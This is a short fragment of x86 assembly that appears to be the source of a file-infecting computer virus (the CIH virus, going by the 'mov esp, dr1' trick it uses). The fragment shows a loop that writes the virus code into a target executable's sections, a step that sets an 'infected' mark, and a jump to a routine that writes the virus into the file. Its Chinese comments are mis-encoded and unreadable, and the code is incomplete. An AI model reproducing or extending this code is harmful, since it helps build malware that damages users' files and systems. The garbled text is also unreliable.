jbe SetVirusCodeSectionTableEndMark ;С()ò

add edi, ebx ; Move Address of Buffer ;ָ򲡶һ 

EndOfWriteCodeToSections: 

loop LoopOfWriteCodeToSections 

; *************************** 
; * Only Set Infected Mark * 
; *************************** 

OnlySetInfectedMark: 
mov esp, dr1 ;ֻøȾ־ 

jmp WriteVirusCodeToFile ;дҪȾļĳ 

; *************************** 
;  
